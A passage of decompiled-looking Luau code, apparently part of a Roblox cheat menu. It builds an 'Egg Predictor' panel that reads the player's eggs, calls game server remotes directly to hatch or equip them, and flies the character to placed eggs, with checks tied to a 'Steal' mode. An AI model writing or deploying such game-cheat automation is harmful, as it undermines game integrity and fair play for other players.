if typeof(arg) ~= "Instance" or not arg:IsDescendantOf(game) then
return false
end
while arg do
if arg:IsA("GuiObject") and not arg.Visible then
return false
end
if arg:IsA("LayerCollector") then
return arg.Enabled
end
arg = arg.Parent
end
return false
end
tbl29.PageVisible = function()
local ok, result = pcall(function()
return v31.Page
end)
if not ok or typeof(result) ~= "Instance" then
return true
end
local flag6 = fn34(result) and result.AbsoluteSize.X > 0
return flag6
end
tbl29.IsShown = fn34
end
do
local tbl30
tbl30 = { "Value", "Rarity", "Time Left" }
local tbl31
tbl31 = {
{ Key = "Ready", Title = "READY TO HATCH", Color = tbl29.Color.Ready },
{ Key = "Growing", Title = "GROWING", Color = tbl29.Color.Growing },
{ Key = "Inventory", Title = "IN INVENTORY", Color = tbl29.Color.Inventory },
}
local n28
n28 = 1
local paint
paint = tbl29.Paint
local bold
bold = tbl29.Bold
local color
color = tbl29.Color
local tbl32
tbl32 = { Sort = tbl30[1], Spotlight = true }
local id
id = nil
local v31, tbl33
do
local n29 = 0.0909
v31 = nil
local tbl34 = {}
tbl33 = {}
local tbl35 = {}
local tbl36 = {}
local n30 = 0
local n31 = 0
local n32 = 0.06
local n33 = -1
local n34 = -1
local n35 = -1
local n36 = 4
local n37 = 3
local flag6 = false
local n38 = 0
local flag7 = true
local n39 = 0
local flag8 = false
local v32 = nil
local function fn32()
flag7 = true
end
local function fn33(arg)
if not arg or arg.DiffWrapped then
return arg
end
local set = arg.Set
arg.DiffWrapped = true
arg.Set = function(arg2)
if type(arg2) ~= "table" then
return set(arg2)
end
local spec = arg.Spec
local v33, v34, v35 = pairs(arg2)
local tbl37 = nil
for k, v36 in v33, v34, v35 do
if spec[k] ~= v36 then
tbl37 = tbl37 or {}
tbl37[k] = v36
end
end
if tbl37 then
set(tbl37)
end
return arg
end
return arg
end
local function fn34(arg, arg2)
local gsub = string.gsub
local v33 = tostring
local text = arg.Spec.Text or ""
local v34 = gsub(v33(text), "%d", "0")
return tostring(n31) .. "|" .. tostring(arg2) .. "|" .. v34
end
local function fn35(arg, arg2)
local eggRecords = tbl.EggRecords
if
type(eggRecords) ~= "table"
or type(eggRecords.GrowthSecondsRemaining) ~= "function"
then
return 0, 0
end
local n40 = 1
if type(eggRecords.GrowthSpeedMultiplier) == "function" then
local ok, result = pcall(eggRecords.GrowthSpeedMultiplier, arg)
n40 = result
ok = ok and type(n40) == "number"
local n41 = 1
if not ok then
n40 = n41
end
end
local ok, result = pcall(eggRecords.GrowthSecondsRemaining, arg, arg2, n40)
local v33 = result
local flag9 = ok and type(v33) == "number"
local n41 = 0
if not flag9 then
v33 = n41
end
local n42 = 0
if type(eggRecords.GrowthDuration) == "function" then
local ok2
ok2, n42 = pcall(eggRecords.GrowthDuration, arg)
local flag10 = ok2 and type(n42) == "number"
local n43 = 0
if not flag10 then
n42 = n43
end
end
return v33, n42
end
local function fn36(arg)
local eggRecords = tbl.EggRecords
if type(eggRecords) == "table" and type(eggRecords.WeightKg) == "function" then
local ok, result = pcall(eggRecords.WeightKg, arg)
ok = ok and type(result) == "number"
if ok then
return result
end
end
return 0
end
local function fn37()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return nil
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v33 = result
if not ok or type(v33) ~= "table" then
return nil
end
local serverTimeNow = workspace:GetServerTimeNow()
local tbl37 = {}
for k, v34 in pairs(v33) do
if type(v34) == "table" then
local v35 = tbl29.AssetInfo(v34.AssetCategory)
local n40 = tonumber(v34.AssetScale) or 0
local mutations = type(v34.Mutations) == "table" and v34.Mutations or {}
local tbl38 = {
Id = k,
Info = v35,
Scale = n40,
Weight = fn36(v34),
Mutations = mutations,
Income = tbl29.Income(v35, n40, mutations),
Status = "Inventory",
Remaining = math.huge,
Percent = 0,
}
if v34.Placement ~= nil then
local ok2, result2 = pcall(eggState.IsReadyToHatch, k)
if not ok2 then
result2 = ok2
end
if result2 then
tbl38.Status = "Ready"
tbl38.Remaining = 0
tbl38.Percent = 100
else
local v36, v37 = fn35(v34, serverTimeNow)
tbl38.Status = "Growing"
tbl38.Remaining = v36
if 0 < v37 then
tbl38.Percent =
math.clamp(math.floor((1 - v36 / v37) * 100), 0, 100)
end
end
end
table.insert(tbl37, tbl38)
end
end
return tbl37
end
local function fn38(arg)
local sort = tbl32.Sort
table.sort(arg, function(arg2, arg3)
if sort == tbl30[2] and arg2.Info.RarityNumber ~= arg3.Info.RarityNumber then
return arg2.Info.RarityNumber > arg3.Info.RarityNumber
end
if sort == tbl30[3] and arg2.Remaining ~= arg3.Remaining then
return arg2.Remaining < arg3.Remaining
end
return arg2.Income > arg3.Income
end)
end
local function fn39(arg)
if arg.Status == "Ready" then
return bold(paint(color.Ready, "Ready to hatch"))
end
if arg.Status == "Growing" then
return bold(paint(color.Clock, tbl29.FormatClock(arg.Remaining)))
.. tbl29.Separator()
.. paint(color.Growing, arg.Percent .. "%")
end
return paint(color.Inventory, "In inventory")
end
local function fn40(arg)
local tbl37 = {}
local v33 = tbl29.MutationText(arg.Mutations)
table.insert(tbl37, bold(paint(color.Income, tbl29.FormatRate(arg.Income))))
table.insert(tbl37, paint(color.Scale, string.format("%.2fx", arg.Scale)))
table.insert(tbl37, paint(color.Weight, tbl29.FormatWeight(arg.Weight)))
if v33 ~= "" then
table.insert(tbl37, v33)
end
return table.concat(tbl37, tbl29.Separator())
end
local n40 = 5
local n41 = n40 + 0.8
local n42 = 1.2
local n43 = 1.2
local n44 = 0.936
local n45 = 2.3
local n46 = 0.25
local n47 = 0.18
local n48 = n45 + 0.6
local n49 = 0.24
local n50 = 0.22
local function fn41(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretGradient
end
return arg.Gradient
end
local function fn42(arg)
local color2 = fn41(arg) ~= nil and Color3.fromRGB(255, 255, 255) or arg.Color
return color2
end
local function fn43(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretRotation
end
return nil
end
local function fn44(arg)
local v33 = arg and arg.Get()
if not v33 or n31 <= 0 then
return nil
end
local text = v33.Text
local v34 = tostring
local text2 = arg.Spec.Text or ""
if text ~= v34(text2) then
return nil
end
return v33
end
local function fn45(arg)
local v33 = fn34(arg, "w")
if arg.WidthKey == v33 then
return arg.WidthUnits
end
local v34 = fn44(arg)
if not v34 then
return nil
end
local size = v34.Size
local textWrapped = v34.TextWrapped
v34.TextWrapped = false
v34.Size = UDim2.fromOffset(100000, math.max(1, size.Y.Offset))
local x = v34.TextBounds.X
v34.Size = size
v34.TextWrapped = textWrapped
if x <= 0 then
return nil
end
local n51 = x / n31
arg.WidthKey = v33
arg.WidthUnits = n51
return arg.WidthUnits
end
local function fn46(arg, arg2)
local v33 = fn34(arg, math.floor(arg2 * 100 + 0.5))
if arg.HeightKey == v33 then
return arg.HeightUnits
end
local v34 = fn44(arg)
if not v34 then
return nil
end
local size = v34.Size
v34.Size = UDim2.fromOffset(math.max(1, math.floor(arg2 * n31 + 0.5)), 100000)
local y = v34.TextBounds.Y
v34.Size = size
if y <= 0 then
return nil
end
local n51 = y / n31
arg.HeightKey = v33
arg.HeightUnits = n51
return arg.HeightUnits
end
local function fn47(arg)
local rfEggWorldAskHatch = networking:FindFirstChild("RF/EggWorld/AskHatch")
if not rfEggWorldAskHatch or not rfEggWorldAskHatch:IsA("RemoteFunction") then
return false
end
local ok, result = pcall(rfEggWorldAskHatch.InvokeServer, rfEggWorldAskHatch, arg)
if not ok or result == false then
return false
end
task.wait(0.35)
local rfEggWorldAskFinishHatch = networking:FindFirstChild("RF/EggWorld/AskFinishHatch")
if rfEggWorldAskFinishHatch and rfEggWorldAskFinishHatch:IsA("RemoteFunction") then
pcall(rfEggWorldAskFinishHatch.InvokeServer, rfEggWorldAskFinishHatch, arg)
end
return true
end
tbl34.RunAction = function()
local focus = tbl34.Focus
if type(focus) ~= "table" or focus.Id == nil then
return
end
local str5 = tostring(focus.Id)
if focus.Status == "Inventory" then
local eggState = tbl.EggState
if
type(eggState) == "table"
and type(eggState.WearEggTool) == "function"
and pcall(eggState.WearEggTool, str5)
then
return
end
local rfEggWorldAskWearTool = networking:FindFirstChild("RF/EggWorld/AskWearTool")
if rfEggWorldAskWearTool and rfEggWorldAskWearTool:IsA("RemoteFunction") then
pcall(rfEggWorldAskWearTool.InvokeServer, rfEggWorldAskWearTool, str5)
end
return
end
if focus.Status == "Ready" then
if not tbl34.Hatching then
tbl34.Hatching = true
pcall(fn47, str5)
tbl34.Hatching = false
end
return
end
if tbl34.Flying or type(tbl4.FlyTo) ~= "function" then
return
end
local placedEggRenders = workspace:FindFirstChild("PlacedEggRenders")
local v33 = nil
if placedEggRenders then
for _, child in ipairs(placedEggRenders:GetChildren()) do
if
string.find(child.Name, str5, 1, true)
or child:GetAttribute("Uid") == str5
then
v33 = child
break
end
end
end
if not v33 then
return
end
local ok, result = pcall(function()
local pivot = v33:IsA("Model") and v33:GetPivot() or v33.CFrame
return pivot
end)
if not ok then
return
end
local movement = tbl4.Movement
if
movement.Owner ~= nil and movement.Owner ~= "treadmill"
or movement.PlaceWanted
or tbl4.Steal.Active
or tbl4.Steal.Wanted
or tbl4.Steal.Carrying
then
return
end
tbl34.Flying = true
if tbl4.ClaimMovement("predictor") then
if tbl4.Treadmill.Riding or tbl4.OnBelt() then
pcall(tbl4.ExitBelt)
end
pcall(tbl4.FlyTo, result.Position + Vector3.new(0, 3, 0), function()
return false
end, "fly")
tbl4.ReleaseMovement("predictor")
end
tbl34.Flying = false
end
local function fn48(arg)
v31 = arg
arg:SetDock(5, { Gap = n50, DividerColor = Color3.fromRGB(170, 174, 184) })
local v33 = arg:Dock()
tbl34.Icon = arg:Image({
Parent = v33,
X = 0,
Y = 0,
Width = n40,
Height = n40,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.26,
StrokeThickness = n29,
StrokeTransparency = 0,
ZIndex = 8,
})
tbl34.Name = arg:Text({
Parent = v33,
X = n41,
Y = 0,
Height = n42,
Scale = n43,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
ZIndex = 9,
})
tbl34.Rarity = arg:Text({
Parent = v33,
X = n41,
Y = 0,
Height = n42,
Scale = n44,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
ZIndex = 9,
})
tbl34.Info = arg:Text({
Parent = v33,
X = n41,
Y = n42,
Height = n40 - n42,
Wrap = false,
ZIndex = 9,
})
tbl34.Action = arg:Button({
Parent = v33,
X = 0,
Y = 0,
Width = 5,
Height = n42 - 0.1,
Text = "",
Scale = 1,
Background = "#000000",
BackgroundTransparency = 0.55,
HoverTransparency = 0.3,
PressTransparency = 0.15,
Corner = 0.35,
StrokeColor = Color3.fromRGB(255, 255, 255),
StrokeThickness = n29,
StrokeTransparency = 0.6,
Visible = false,
ZIndex = 10,
Callback = function()
if type(tbl34.RunAction) == "function" then
task.spawn(tbl34.RunAction)
end
end,
})
arg:OnResize(function(arg2, arg3, arg4)
if arg3 == n33 and arg4 == n34 then
return
end
n33 = arg3
n34 = arg4
n30 = arg3 / math.max(arg4, 1)
n31 = arg4
n38 = 2
n32 = 0.9 / math.max(arg:TextSize(), 1)
tbl34.Rarity.Set({ StrokeThickness = n32 })
for _, v34 in ipairs(tbl33) do
v34.Rarity.Set({ StrokeThickness = n32 })
end
end)
for _, v34 in ipairs({ "Icon", "Name", "Rarity", "Info", "Action" }) do
fn33(tbl34[v34])
end
end
local function fn49(arg)
local v33 = tbl35[arg]
if not v33 then
v33 = v31:Text({
Name = "Line",
X = 0,
Y = 0,
Width = 1,
Height = 1,
Wrap = true,
Visible = false,
})
tbl35[arg] = fn33(v33)
end
return v33
end
local function fn50(arg)
local v33 = tbl33[arg]
if v33 then
return v33
end
local tbl37 = {}
tbl37.Frame = v31:Button({
Name = "Entry",
Text = "",
Background = "#000000",
BackgroundTransparency = 0.74,
HoverTransparency = 0.46,
PressTransparency = 0.3,
Corner = 0.35,
X = 0,
Y = 0,
Width = 1,
Height = 1,
Visible = false,
Callback = function()
if tbl37.Id ~= nil then
id = tbl37.Id
fn32()
end
end,
})
tbl37.Icon = v31:Image({
Parent = tbl37.Frame,
X = n46,
Y = 0,
Width = n45,
Height = n45,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.45,
StrokeThickness = n29,
StrokeTransparency = 0,
})
tbl37.Name = v31:Text({
Parent = tbl37.Frame,
X = n46 + n48,
Y = 0,
Width = 1,
Height = n42,
Scale = n43,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
})
tbl37.Rarity = v31:Text({
Parent = tbl37.Frame,
X = n46 + n48,
Y = 0,
Width = 1,
Height = n42,
Scale = n44,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
StrokeThickness = n32,
})
tbl37.Detail = v31:Text({
Parent = tbl37.Frame,
X = n46 + n48,
Y = n42,
Width = math.max(1, n30 - n48 - n46 * 2),
Height = 1,
Wrap = true,
})
tbl37.Status = v31:Text({
Parent = tbl37.Frame,
X = 0,
Y = 0,
Width = 1,
Height = n42,
Wrap = false,
Align = "Right",
})
for _, v34 in ipairs({ "Frame", "Icon", "Name", "Rarity", "Detail", "Status" }) do
fn33(tbl37[v34])
end
tbl33[arg] = tbl37
return tbl37
end
local function fn51(arg)
local tbl37 = { Ready = 0, Growing = 0, Inventory = 0 }
local n51 = 0
local v33 = nil
for _, v34 in ipairs(arg) do
local status = v34.Status
tbl37[status] = tbl37[status] + 1
n51 = n51 + v34.Income
if not v33 or v34.Income > v33.Income then
v33 = v34
end
end
return bold(paint(color.Text, tostring(#arg) .. " eggs")) .. tbl29.Separator() .. bold(
paint(color.Ready, tbl37.Ready .. " ready")
) .. tbl29.Separator() .. bold(
paint(color.Growing, tbl37.Growing .. " growing")
) .. tbl29.Separator() .. bold(
paint(color.Inventory, tbl37.Inventory .. " in bag")
) .. tbl29.Separator() .. paint(color.Text, "Total") .. " " .. bold(
paint(color.Income, tbl29.FormatRate(n51))
),
v33
end
local function fn52(arg, arg2)
if arg2 == "" then
return true
end
local str5 = " " .. arg.Status
local str6 =
string.lower(tostring(arg.Info.Name) .. " " .. tostring(arg.Info.Rarity) .. str5)
for _, v33 in ipairs(arg.Mutations) do
str6 = str6 .. " " .. string.lower(tostring(v33))
end
return string.find(str6, arg2, 1, true) ~= nil
end
local function fn53(arg)
local tbl37 = {}
local v33 = bold(paint(color.Income, tbl29.FormatRate(arg.Income)))
local str5 = paint(color.Scale, string.format("%.2fx", arg.Scale))
.. tbl29.Separator()
.. paint(color.Weight, tbl29.FormatWeight(arg.Weight))
tbl37[1] = v33
tbl37[2] = str5
do
local values = table.pack(fn39(arg))
table.move(values, 1, values.n, 3, tbl37)
end
local v34 = tbl29.MutationText(arg.Mutations)
local insert = table.insert
local flag9 = v34 ~= ""
if not flag9 then
v34 = flag9
end
local v35 = v34 or paint(color.Hint, "Tap an egg below to preview it")
insert(tbl37, v35)
return table.concat(tbl37, "\n")
end
local function fn54(arg)
local flag9 = tbl32.Spotlight and arg ~= nil
if v32 ~= flag9 then
v32 = flag9
local v33 = v31
local setDock = v33.SetDock
local n51 = flag9 and 5 or 0
setDock(v33, n51, { Gap = n50 })
end
tbl34.Icon.Set({ Visible = flag9 })
tbl34.Name.Set({ Visible = flag9 })
tbl34.Rarity.Set({ Visible = flag9 })
tbl34.Info.Set({ Visible = flag9 })
tbl34.Action.Set({ Visible = flag9 })
local v33 = tbl34
v33.Focus = flag9 and arg or nil
if not flag9 then
return
end
local info = arg.Info
local set = tbl34.Action.Set
local tbl37 = {}
local flag10 = arg.Status == "Inventory" and bold(paint(color.Inventory, "Hold egg"))
local flag11
if flag10 then
flag11 = flag10
else
flag11 = arg.Status == "Ready" and bold(paint(color.Ready, "Hatch egg"))
or bold(paint(color.Growing, "Fly to egg"))
end
tbl37.Text = flag11
set(tbl37)
local set2 = tbl34.Icon.Set
local tbl38 = { Visible = info.Icon ~= nil }
tbl38.Image = info.Icon or ""
tbl38.StrokeColor = info.Color
set2(tbl38)
tbl34.Name.Set({ Text = tbl29.Escape(info.Name) })
tbl34.Rarity.Set({
Text = string.upper(tostring(info.Rarity)),
Color = fn42(info),
Gradient = fn41(info),
GradientRotation = fn43(info),
})
tbl34.Info.Set({ Text = fn53(arg) })
end
local function fn55(arg, arg2)
local info = arg2.Info
arg.Id = arg2.Id
local set = arg.Frame.Set
local tbl37 = { Visible = true }
tbl37.BackgroundTransparency = arg2.Id == id and 0.12 or 0.74
set(tbl37)
local set2 = arg.Icon.Set
local tbl38 = { Visible = info.Icon ~= nil }
tbl38.Image = info.Icon or ""
tbl38.StrokeColor = info.Color
set2(tbl38)
arg.Name.Set({ Text = tbl29.Escape(info.Name) })
arg.Rarity.Set({
Text = string.upper(tostring(info.Rarity)),
Color = fn42(info),
Gradient = fn41(info),
GradientRotation = fn43(info),
})
arg.Detail.Set({ Text = fn40(arg2) })
arg.Status.Set({ Text = fn39(arg2) })
end
local function fn56()
if n30 <= 0 then
return
end
flag6 = false
local n51 = math.max(1, n30 - n41)
local v33 = fn45(tbl34.Action)
if v33 then
tbl34.ActionUnits = v33 + 1.4
else
flag6 = true
end
local min = math.min
local actionUnits = tbl34.ActionUnits or 5
local v34 = min(actionUnits, n51 * 0.45)
local n52 = math.max(1, n51 - v34 - n49)
tbl34.Action.Set({ X = n30 - v34, Y = 0.05, Width = v34, Height = n42 - 0.1 })
local v35 = fn45(tbl34.Rarity)
if v35 then
n37 = v35 + 0.1
else
flag6 = true
end
local v36 = fn45(tbl34.Name)
if v36 then
n36 = math.min(v36 + 0.1, math.max(1, n52 - n37 - n49))
else
flag6 = true
end
tbl34.Name.Set({ X = n41, Y = 0, Width = n36, Height = n42 })
tbl34.Rarity.Set({
X = n41 + n36 + n49,
Y = 0,
Width = math.max(0.5, math.min(n37, n52 - n36 - n49)),
Height = n42,
})
tbl34.Info.Set({ X = n41, Y = n42, Width = n51, Height = math.max(1, n40 - n42) })
local n53 = math.max(1, n30 - n48 - n46 * 2)
local n54 = 0
for _, v37 in ipairs(tbl36) do
if v37.Kind == "text" then
local handle = v37.Handle
local v38 = fn46(handle, n30)
if v38 then
v37.Height = v38
else
flag6 = true
end
local max = math.max
local height = v37.Height or 1
local v39 = max(1, height)
local set = handle.Set
local tbl37 = { X = 0 }
local n55 = v37.Gap and 0.5 or 0
tbl37.Y = n54 + n55
tbl37.Width = n30
tbl37.Height = v39
set(tbl37)
local n56 = v39 + n50 * 0.5
local n57 = v37.Gap and 0.5 or 0
n54 = n54 + n56 + n57
else
local item = v37.Item
local v38 = fn46(item.Detail, n53)
if v38 then
item.DetailUnits = v38
else
flag6 = true
end
local clamp = math.clamp
local detailUnits = item.DetailUnits or 1
local v39 = clamp(detailUnits, 1, 4)
local v40 = fn45(item.Status)
if v40 then
item.StatusUnits = v40 + 0.23
else
flag6 = true
end
local min2 = math.min
local n55 = n53 * 0.42
local max = math.max
local statusUnits = item.StatusUnits or 2.73
local v41 = min2(n55, max(2.73, statusUnits))
local n56 = math.max(1, n53 - v41 - n49)
local v42 = fn45(item.Rarity)
if v42 then
item.RarityUnits = v42 + 0.1
else
flag6 = true
end
local min3 = math.min
local rarityUnits = item.RarityUnits or 3
local v43 = min3(rarityUnits, n56 * 0.5)
local v44 = fn45(item.Name)
if v44 then
item.NameUnits = v44 + 0.1
else
flag6 = true
end
local min4 = math.min
local max2 = math.max
local nameUnits = item.NameUnits or 4
local max3 = math.max
local n57 = n56 - v43 - n49
local v45 = min4(max2(1, nameUnits), max3(1, n57))
local n58 = n47 * 2
local n59 = math.max(v39 + n42, 2.3) + n58
local n60 = (n59 - v39 - n42) / 2
item.Frame.Set({ X = 0, Y = n54, Width = n30, Height = n59 })
item.Icon.Set({ Y = (n59 - n45) / 2 })
item.Name.Set({ X = n46 + n48, Y = n60, Width = v45 })
item.Rarity.Set({
X = n46 + n48 + v45 + n49,
Y = n60,
Width = math.max(0.5, v43),
})
item.Detail.Set({ X = n46 + n48, Y = n60 + n42, Width = n53, Height = v39 })
item.Status.Set({
Visible = v37.HasStatus,
X = n46 + n48 + n53 - v41,
Y = n60,
Width = math.max(0.5, v41),
})
n54 = n54 + n59 + n50
end
end
local n55 = math.max(1, n54)
if 0.01 < math.abs(n55 - n35) then
n35 = n55
v31:SetContentLines(n55)
end
end
local function fn57()
if not v31 then
return
end
n38 = 2
local v33 = fn37()
table.clear(tbl36)
local n51 = 0
local function fn57(arg, arg2)
n51 = n51 + 1
local v34 = fn49(n51)
v34.Set({ Visible = true, Text = arg })
table.insert(tbl36, { Kind = "text", Handle = v34, Gap = arg2 })
end
local n52
if not v33 then
fn54(nil)
fn57(bold(paint(color.Hint, "Egg data is not available yet")), false)
n52 = 0
else
fn38(v33)
local v34, v35 = fn51(v33)
local v36 = v35
fn57(v34, false)
local v37 = nil
if id ~= nil then
v37 = nil
for _, v38 in ipairs(v33) do
if v38.Id == id then
v37 = v38
break
else
v37 = nil
end
end
end
local v38 = fn54
v37 = v37 or v36
v38(v37)
local v39 = string.lower(v31:Query())
local tbl37 = {}
for _, v40 in ipairs(v33) do
if fn52(v40, v39) then
table.insert(tbl37, v40)
end
end
if #tbl37 == 0 then
local hint = color.Hint
local str5 = #v33 == 0 and "No eggs yet"
or string.format('No results for "%s"', tbl29.Escape(v39))
fn57(paint(hint, str5), false)
n52 = 0
else
n52 = 0
for _, v40 in ipairs(tbl31) do
local tbl38 = {}
for _, v41 in ipairs(tbl37) do
if v41.Status == v40.Key then
table.insert(tbl38, v41)
end
end
if #tbl38 > 0 then
local flag9 = #tbl36 > 0
fn57(
string.format(
'<b><font color="%s">%s</font></b> <font color="#AAAAAA">(%d)</font>',
v40.Color,
v40.Title,
#tbl38
),
flag9
)
for _, v41 in ipairs(tbl38) do
n52 = n52 + 1
local v42 = fn50(n52)
fn55(v42, v41)
table.insert(tbl36, { Kind = "item", Item = v42, HasStatus = true })
end
end
end
end
end
for i = n51 + 1, #tbl35 do
tbl35[i].Set({ Visible = false })
end
for i = n52 + 1, #tbl33 do
tbl33[i].Frame.Set({ Visible = false })
end
fn56()
n38 = 2
end
tbl29.RequestEggRefresh = fn32
if not tbl29.Ready then
v28:CreateText({
Name = "Egg Predictor",
Text = "Update the Chilli Library to use the predictor canvas.",
})
else
v28:CreateDropdown({
Name = "Sort By",
Options = tbl30,
Default = tbl30[1],
Callback = function(arg)
if table.find(tbl30, arg) then
tbl32.Sort = arg
fn32()
end
end,
})
v28:CreateToggle({
Name = "Preview Card",
Default = true,
Callback = function(arg)
tbl32.Spotlight = arg == true
fn32()
end,
})
do
local v33 = v28:CreateCanvas({
Name = "Egg Predictor",
Search = true,
SearchPlaceholder = "Search eggs...",
Layout = "free",
Style = {
TextScale = 0.84,
LineHeight = 1.1,
MinLines = 16,
MaxLines = 32,
BackgroundTransparency = 0.5,
ScrollBarColor = Color3.fromRGB(170, 174, 184),
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = function(arg)
fn48(arg)
fn32()
end,
})
fn6(function()
v33:Destroy()
end)
end
do
local connection = RunService.Heartbeat:Connect(function(arg)
local v33 = tbl29.PageVisible()
local flag9
if v33 then
flag9 = v31 == nil or tbl29.IsShown(v31:Root())
else
flag9 = v33
end
if flag9 and not flag8 then
flag7 = true
end
flag8 = flag9
if not v33 then
return
end
n39 = n39 + arg
if flag9 and flag7 or n39 >= n28 then
n39 = 0
if flag9 then
flag7 = false
pcall(fn57)
end
if tbl29.RefreshFuse then
pcall(tbl29.RefreshFuse)
end
end
flag9 = flag9 and (n38 > 0 or flag6)
if flag9 then
if 0 < n38 then
n38 = n38 - 1
end
pcall(fn56)
end
if tbl29.PlaceFuse then
tbl29.PlaceFuse()
end
end)
fn6(function()
connection:Disconnect()
end)
end
end
end
end
do
local paint
paint = tbl29.Paint
local bold
bold = tbl29.Bold
local color
color = tbl29.Color
local n28, v31, tbl30, tbl31, tbl32, tbl33, flag6
do
local n29 = 5
local n30 = n29 + 0.8
local n31 = 1.2
local n32 = 1.2
local n33 = 0.936
local n34 = 2.3
local n35 = 0.25
local n36 = 0.18
local n37 = n34 + 0.6
local n38 = 0.24
n28 = 0.22
local n39 = 0.0909
v31 = nil
tbl30 = {}
tbl31 = {}
tbl32 = {}
tbl33 = {}
local n40 = 0
local n41 = 0
local n42 = 0.06
local n43 = -1
local n44 = -1
local n45 = -1
local n46 = 4
local n47 = 3
flag6 = false
local n48 = 0
local function fn32(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretGradient
end
return arg.Gradient
end
local function fn33(arg)
local color2 = fn32(arg) ~= nil and Color3.fromRGB(255, 255, 255) or arg.Color
return color2
end
local function fn34(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretRotation
end
return nil
end
local function fn35(arg)
v31 = arg
arg:SetDock(5, { Gap = n28, DividerColor = Color3.fromRGB(170, 174, 184) })
local v32 = arg:Dock()
tbl30.Icon = arg:Image({
Parent = v32,
X = 0,
Y = 0,
Width = n29,
Height = n29,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.26,
StrokeThickness = n39,
StrokeTransparency = 0,
ZIndex = 8,
})
tbl30.Name = arg:Text({
Parent = v32,
X = n30,
Y = 0,
Height = n31,
Scale = n32,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
ZIndex = 9,
})
tbl30.Rarity = arg:Text({
Parent = v32,
X = n30,
Y = 0,
Height = n31,
Scale = n33,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
ZIndex = 9,
})
tbl30.Info = arg:Text({
Parent = v32,
X = n30,
Y = n31,
Height = n29 - n31,
Wrap = false,
ZIndex = 9,
})
arg:OnResize(function(arg2, arg3, arg4)
if arg3 == n43 and arg4 == n44 then
return
end
n43 = arg3
n44 = arg4
n40 = arg3 / math.max(arg4, 1)
n41 = arg4
n48 = 2
n42 = 0.9 / math.max(arg:TextSize(), 1)
tbl30.Rarity.Set({ StrokeThickness = n42 })
for _, v33 in ipairs(tbl31) do
v33.Rarity.Set({ StrokeThickness = n42 })
end
end)
end
local function fn36(arg)
local v32 = arg and arg.Get()
if not v32 or n41 <= 0 then
return nil
end
local text = v32.Text
local v33 = tostring
local text2 = arg.Spec.Text or ""
if text ~= v33(text2) then
return nil
end
return v32
end
local function fn37(arg)
local v32 = fn36(arg)
if not v32 then
return nil
end
local size = v32.Size
local textWrapped = v32.TextWrapped
v32.TextWrapped = false
v32.Size = UDim2.fromOffset(100000, math.max(1, size.Y.Offset))
local x = v32.TextBounds.X
v32.Size = size
v32.TextWrapped = textWrapped
if x <= 0 then
return nil
end
return x / n41
end
local function fn38(arg, arg2)
local v32 = fn36(arg)
if not v32 then
return nil
end
local size = v32.Size
v32.Size = UDim2.fromOffset(math.max(1, math.floor(arg2 * n41 + 0.5)), 100000)
local y = v32.TextBounds.Y
v32.Size = size
if y <= 0 then
return nil
end
return y / n41
end
local function fn39(arg)
local v32 = tbl32[arg]
if not v32 then
local v33 = v31:Text({
Name = "Line",
X = 0,
Y = 0,
Width = 1,
Height = 1,
Wrap = true,
Visible = false,
})
tbl32[arg] = v33
v32 = v33
end
return v32
end
local function fn40(arg)
local v32 = tbl31[arg]
if v32 then
return v32
end
local tbl34 = {
Frame = v31:Frame({
Name = "Slot",
Background = "#000000",
BackgroundTransparency = 0.74,
Corner = 0.35,
X = 0,
Y = 0,
Width = 1,
Height = 1,
Visible = false,
}),
}
tbl34.Icon = v31:Image({
Parent = tbl34.Frame,
X = n35,
Y = 0,
Width = n34,
Height = n34,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.45,
StrokeThickness = n39,
StrokeTransparency = 0,
})
tbl34.Name = v31:Text({
Parent = tbl34.Frame,
X = n35 + n37,
Y = 0,
Width = 1,
Height = n31,
Scale = n32,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
})
tbl34.Rarity = v31:Text({
Parent = tbl34.Frame,
X = n35 + n37,
Y = 0,
Width = 1,
Height = n31,
Scale = n33,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
StrokeThickness = n42,
})
tbl34.Detail = v31:Text({
Parent = tbl34.Frame,
X = n35 + n37,
Y = n31,
Width = math.max(1, n40 - n37 - n35 * 2),
Height = 1,
Wrap = true,
})
tbl34.Status = v31:Text({
Parent = tbl34.Frame,
X = 0,
Y = 0,
Width = 1,
Height = n31,
Wrap = false,
Align = "Right",
Color = color.Hint,
})
tbl31[arg] = tbl34
return tbl34
end
local function fn41()
if n40 <= 0 then
return
end
flag6 = false
local n49 = math.max(1, n40 - n30)
local v32 = fn37(tbl30.Rarity)
if v32 then
n47 = v32 + 0.1
else
flag6 = true
end
local v33 = fn37(tbl30.Name)
if v33 then
n46 = math.min(v33 + 0.1, math.max(1, n49 - n47 - n38))
else
flag6 = true
end
tbl30.Name.Set({ X = n30, Y = 0, Width = n46, Height = n31 })
tbl30.Rarity.Set({
X = n30 + n46 + n38,
Y = 0,
Width = math.max(0.5, math.min(n47, n49 - n46 - n38)),
Height = n31,
})
tbl30.Info.Set({ X = n30, Y = n31, Width = n49, Height = math.max(1, n29 - n31) })
local n50 = math.max(1, n40 - n37 - n35 * 2)
local n51 = 0
for _, v34 in ipairs(tbl33) do
if v34.Kind == "text" then
local handle = v34.Handle
local v35 = fn38(handle, n40)
if v35 then
v34.Height = v35
else
flag6 = true
end
